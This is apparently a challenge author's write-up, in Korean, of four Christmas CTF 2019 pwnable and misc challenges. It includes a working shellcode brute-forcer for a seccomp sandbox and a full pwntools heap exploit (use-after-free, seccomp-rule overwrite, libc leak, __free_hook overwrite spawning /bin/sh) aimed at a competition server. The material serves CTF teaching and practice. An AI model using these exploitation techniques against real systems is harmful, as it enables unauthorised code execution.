Christmas CTF 2019 출제자 Writeup

Posted on Aug 14, 2020

https://github.com/Aleph-Infinite/2019-Christmas-CTF

  • Misc
    • Santa Game
  • Pwnable
    • Solo Test
    • babyseccomp
    • DeadFile

Santa Game

#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import os
import sys
import random

FLAG = 'XMAS{y0u_s3Nt_7hE_GiFt_t0_y0urSe1F..XD}'

def send(data, end='\n'):
  sys.stdout.write(data+end)
  sys.stdout.flush()
  return

def scan(msg):
  send(msg, end='')
  return raw_input()

def choice():
  menu = '''
===========================
      Santa Game 2019
===========================
 1. Send Gift to Stranger
 2. Exit
===========================
>> '''
  return scan(menu)

def gift():
  ip = scan('Address : ')
  port = int(scan('Port : '))
  if ip!='localhost' and ip!='0.0.0.0' and ip!='127.0.0.1':
    sys.exit(0)
  cmd = 'echo "%s" | nc %s %d' % (FLAG, ip, port)
  os.system(cmd)
  send('Stranger must be happy!')
  return

def bye():
  send('Merry X-MAS!')
  sys.exit(0)

def banner():
  send("""
   *        *        *        __o    *      *
*      *       *        *    /_| _     *
   ||  *    ||      *        O'_)/ \  *    *
  <')____  <')____    __*   V   \  ) __  *
   \ ___ )--\ ___ )--( (    (___|__)/ /*     *
 *  |   |    |   |  * \ \____| |___/ /  *
    |*  |    |   |     \____________/       *""")
  return

if __name__=='__main__':
  try:
    banner()
    while True:
      res = choice()
      if res=='1':
        gift()
      elif res=='2':
        sys.exit(0)
      else:
        send('Invalid Option : ' + res)
  except:
    bye()

ip와 포트를 입력받아 플래그를 netcat으로 전송한다. ip는 localhost로 고정된다.

리모트 서버에서 play.py가 서비스되는 포트를 입력하면 해당 스크립트로 플래그가 입력되어 Invalid Option : 과 함께 플래그가 출력된다.

Solo Test

ssize_t solo()
{
  char buf; // [rsp+0h] [rbp-50h]

  puts("\nYou passed my solo test!");
  printf("Reward --> ");
  return read(0, &buf, 0x200uLL);
}

Just ROP

babyseccomp

line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x19 0xc000003e  if (A != ARCH_X86_64) goto 0027
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x25 0x17 0x00 0x40000000  if (A > 0x40000000) goto 0027
 0004: 0x15 0x16 0x00 0x0000003b  if (A == execve) goto 0027
 0005: 0x15 0x15 0x00 0x00000142  if (A == execveat) goto 0027
 0006: 0x15 0x14 0x00 0x00000002  if (A == open) goto 0027
 0007: 0x15 0x13 0x00 0x00000101  if (A == openat) goto 0027
 0008: 0x15 0x12 0x00 0x00000000  if (A == read) goto 0027
 0009: 0x15 0x11 0x00 0x00000011  if (A == pread64) goto 0027
 0010: 0x15 0x10 0x00 0x00000013  if (A == readv) goto 0027
 0011: 0x15 0x0f 0x00 0x00000127  if (A == preadv) goto 0027
 0012: 0x15 0x0e 0x00 0x00000147  if (A == preadv2) goto 0027
 0013: 0x15 0x0d 0x00 0x00000001  if (A == write) goto 0027
 0014: 0x15 0x0c 0x00 0x00000012  if (A == pwrite64) goto 0027
 0015: 0x15 0x0b 0x00 0x00000014  if (A == writev) goto 0027
 0016: 0x15 0x0a 0x00 0x00000128  if (A == pwritev) goto 0027
 0017: 0x15 0x09 0x00 0x00000148  if (A == pwritev2) goto 0027
 0018: 0x15 0x08 0x00 0x00000028  if (A == sendfile) goto 0027
 0019: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0027
 0020: 0x15 0x06 0x00 0x00000039  if (A == fork) goto 0027
 0021: 0x15 0x05 0x00 0x00000065  if (A == ptrace) goto 0027
 0022: 0x15 0x04 0x00 0x00000029  if (A == socket) goto 0027
 0023: 0x15 0x03 0x00 0x0000002b  if (A == accept) goto 0027
 0024: 0x15 0x02 0x00 0x00000031  if (A == bind) goto 0027
 0025: 0x15 0x01 0x00 0x00000032  if (A == listen) goto 0027
 0026: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0027: 0x06 0x00 0x00 0x00000000  return KILL

prctl로 위와 같은 seccomp rule을 건 뒤 /flag를 open해준다. 이후 쉘코드를 입력받아 실행 시켜준다.

  • Intended Solution
    • Read flag by sys_mmap(addr, length, prot, flags, 3, offset)
    • Leak flag by error-based shellcode
  • Unintended Solution
    • 0003: 0x25 0x17 0x00 0x40000000 if (A > 0x40000000) goto 0027 doesn’t filter 0x40000000 (sys_read | X32_BIT)
      • Read flag by sys_read(0x40000000, addr, len)
    • Leak flag by same method with intended solution
from pwn import *

context.arch = 'amd64'
context.log_level = 'error'

flag = ''

for index in range(0, 0x30):
  for guess in range(0x20, 0x7f):
    p = remote('localhost', 8833)

    sc = '''
      mov rdi, 1
      mov rsi, 0x1000
      mov rdx, 4
      mov r10, 1
      mov r8, 3
      mov r9, 0
      mov rax, 9
      syscall

      mov r15, rax
      add r15, %d
      jmp check

      check:
        xor rcx, rcx
        mov cl, byte ptr [r15]
        cmp cl, %d
        je found
        jne die

      die:
        mov rax, 1
        syscall

      found:
        push 0
        push 5
        mov rdi, rsp
        mov rsi, rsp
        mov rax, 35
        syscall

''' % (index, guess)
    try:
      print 'trying : ' + chr(guess)
      p.sendafter(':', asm(sc))
      p.recv()
      p.recv(timeout=1)
      flag += chr(guess)
      print 'flag : '+flag
      p.close()
      continue

    except:
      p.close()

DeadFile

**************************************
*             Dead File              *
**************************************
*                                    *
*          [1] New Buffer            *
*          [2] Delete Buffer         *
*          [3] Open File             *
*          [4] Read File             *
*          [5] Write File            *
*          [6] Close File            *
*          [7] Register              *
*          [0] Exit                  *
*                                    *
**************************************
>>

malloc으로 할당한 Buffer에 플래그를 Open/Read 할 수 있다. Write는 구현되지 않았다.

취약점은 간단한 UAF.

int sub_15E8()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("Buffer Index : ");
  v1 = sub_13DD();
  if ( v1 < 0 || v1 > 7 )
    puts("Out Of Bound!");
  if ( !qword_2030C0[v1] )
    return puts("Buffer Not Allocated!");
  free(qword_2030C0[v1]); // uaf
  return puts("Buffer Successfully Deleted!");
}

그러나 heap에 원하는 값을 쓸 수 없어 exploit이 불가능한 상황인데, 아래의 함수에서 seccomp rule 조작이 가능하다.

unsigned __int64 sub_C80()
{
  _QWORD *s; // ST08_8
  int v2; // [rsp+4h] [rbp-19Ch]
  char src; // [rsp+90h] [rbp-110h]
  unsigned __int64 v4; // [rsp+198h] [rbp-8h]
  v4 = __readfsqword(0x28u);
  if ( dest )
  {
    puts("Already Registered!");
  }
  else
  {
    s = malloc(0x80uLL);
    memset(s, 0, 0x80uLL);
    *s = 17179869216LL;
    s[1] = -4611685751921311723LL;
    s[2] = 32LL;
    s[3] = 4611686018428108837LL;
    s[4] = 253403725845LL;
    s[5] = 1382980059157LL;
    s[6] = 8590458901LL;
    s[7] = 1103807053845LL;
    s[8] = 240518561813LL;
    s[9] = 244813463573LL;
    s[10] = 433791959061LL;
    s[11] = 176093855765LL;
    s[12] = 210453528597LL;
    s[13] = 214748430357LL;
    s[14] = 9223090561878065158LL;
    s[15] = 6LL;
    word_203100 = 16;
    qword_203108 = (__int64)s;
    memset(&src, 0, 0x100uLL);
    printf("Name : ", 0LL);
    v2 = sub_136C(&src, 240LL);
    dest = malloc(v2);
    if ( !dest )
    {
      puts("Malloc Error!");
      exit(-1);
    }
    memcpy(dest, &src, v2);
    puts("Seccomp Rule Successfully Generated!");
  }
  return __readfsqword(0x28u) ^ v4;
}

Intended Solution

  • SECCOMP_RET_ERRNO -> sys_openat return 0(stdin)
  • bruteforce 4 bits of main_arena address, modify _IO_2_1_stdout->_IO_write_base to leak libc (1/16 probability)
  • overwrite __free_hook
from pwn import *

def alloc(size):
  p.sendafter('>>', '1')
  p.sendafter(':', str(size))

def delete(idx):
  p.sendafter('>>', '2')
  p.sendafter(':', str(idx))

def readF(idx, pay):
  p.sendafter('>>', '4')
  p.sendafter(':', '0') # stdin
  p.sendafter(':', str(idx))
  p.send(pay)

#p = process('./deadfile')
p = remote('115.68.235.72', 33445)
e = ELF('./deadfile')
l = e.libc

alloc(0x80) # 0
delete(0)
delete(0)

# register, overwrite seccomp rule

filt = [32,0,0,0,4,0,0,0,21,0,0,13,62,0,0,192,32,0,0,0,0,0,0,0,37,0,11,0,0,0,0,64,21,0,0,9,1,1,0,0,32,0,0,0,32,0,0,0,21,0,8,0,0,0,0,0,32,0,0,0,0,0,0,0,21,0,5,0,9,0,0,0,21,0,4,0,57,0,0,0,21,0,3,0,101,0,0,0,21,0,2,0,41,0,0,0,21,0,1,0,49,0,0,0,21,0,0,0,50,0,0,0,6,0,0,0,0,0,255,127,6,0,0,0,0,0,5,0]
pay = ''
for i in filt:
  pay += chr(i)

p.sendafter('>>', '7')
p.sendafter(':', pay)

# open file, sys_open return 0 (stdin)

p.sendafter('>>', '3')
p.sendafter(':', 'WhateverYouwant')

alloc(0x98) # 1
alloc(0x78) # 2

for i in range(8):
  delete(1)

readF(1, '\x60\x07\xdd') # ASLR OFF

alloc(0x98) # 3
alloc(0x98) # 4

readF(4, p64(0xfbad1800)+'\x00'*25)

libc = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - 0x3ed8b0
print hex(libc)

delete(2)
delete(2)
readF(2, p64(libc+l.sym['__free_hook']))

alloc(0x78) # 5
alloc(0x78) # 6
readF(6, p64(libc+l.sym['system']))
readF(5, '/bin/sh\x00')

delete(5)

p.interactive()
A = arch
A == ARCH_X86_64 ? next : dead
A = sys_number
A > 0x40000000 ? dead : next
A == openat ? next : allow
A = args[2]
A == 0 ? dead : next
A = sys_number
A == mmap ? allow : next
A == fork ? allow : next
A == ptrace ? allow : next
A == socket ? allow : next
A == bind ? allow : next
A == listen ? allow : allow
allow:
return ALLOW
dead:
return ERRNO(0)

Unintended Solution

  • Logic Bug in NewBuffer function
    • Out-of-Bounds of heap pointer array in bss
  • Overwrite bss@stdout to fake file structure
    • call _IO_str_jumps->_IO_str_finish